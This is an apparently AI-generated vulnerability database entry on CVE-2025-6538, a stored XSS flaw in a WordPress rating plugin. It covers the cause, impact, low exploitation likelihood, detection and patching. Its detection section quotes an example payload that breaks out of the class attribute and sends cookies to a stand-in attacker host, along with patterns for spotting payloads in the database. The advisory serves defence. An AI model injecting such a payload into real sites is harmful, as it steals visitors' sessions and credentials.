
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-6538 is a Stored Cross-Site Scripting (XSS) vulnerability in the Post Rating and Review plugin for WordPress. It affects all versions up to and including 1.3.4, caused by insufficient input sanitization and output escaping of the class parameter. Authenticated attackers with Contributor-level access or above can inject arbitrary web scripts into pages that execute when any user visits the affected page. The vulnerability was published on June 26, 2025, and carries a CVSS v3.1 base score of 5.4 (Medium) (Red Hat CVE, Wordfence).
The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerability exists because the plugin fails to properly sanitize user-supplied input for the class parameter and does not escape the value before rendering it in HTML output. An authenticated attacker with at least Contributor-level privileges can craft a malicious shortcode or block attribute containing a JavaScript payload, which is then persistently stored in the database and executed in the browser of any user who views the affected page (Red Hat CVE, Wordfence).
Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users' browsers, including administrators. This can lead to session cookie theft, credential harvesting, unauthorized administrative actions (such as creating rogue admin accounts), defacement of site content, or redirection of visitors to malicious sites. The confidentiality and integrity impacts are low-to-moderate, and availability is not directly affected (Red Hat CVE).
No public proof-of-concept exploit code or active in-the-wild exploitation has been reported for CVE-2025-6538 as of the available data. The vulnerability requires authenticated access at the Contributor level or above, which limits the attack surface compared to unauthenticated flaws. The EPSS score is 0.00029, indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Red Hat CVE, Wordfence).
class parameter (e.g., class="legit-class"><script>document.location='https://attacker.com/steal?c='+document.cookie</script>).wp-admin/post.php or REST API endpoints from Contributor-level accounts containing unusual HTML/JavaScript in the class parameter field.wp_posts or wp_postmeta tables containing entries with <script>, javascript:, or encoded XSS payloads within Post Rating and Review plugin attributes.Site administrators should update the Post Rating and Review plugin to a version beyond 1.3.4 that includes a fix for this vulnerability. Until a patched version is available or applied, consider restricting Contributor-level user registration and limiting who can publish content on the site. Web Application Firewalls (WAFs) with XSS filtering rules can provide an additional layer of defense. Regularly audit user roles and remove unnecessary Contributor accounts to reduce the attack surface (Red Hat CVE, Wordfence).
Wordfence included CVE-2025-6538 in their weekly WordPress vulnerability report for the period of June 23–29, 2025, as part of routine plugin vulnerability tracking. Red Hat also catalogued the CVE. No significant independent researcher commentary, vendor statements beyond standard advisories, or notable media coverage has been identified for this vulnerability (Wordfence, Red Hat CVE).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."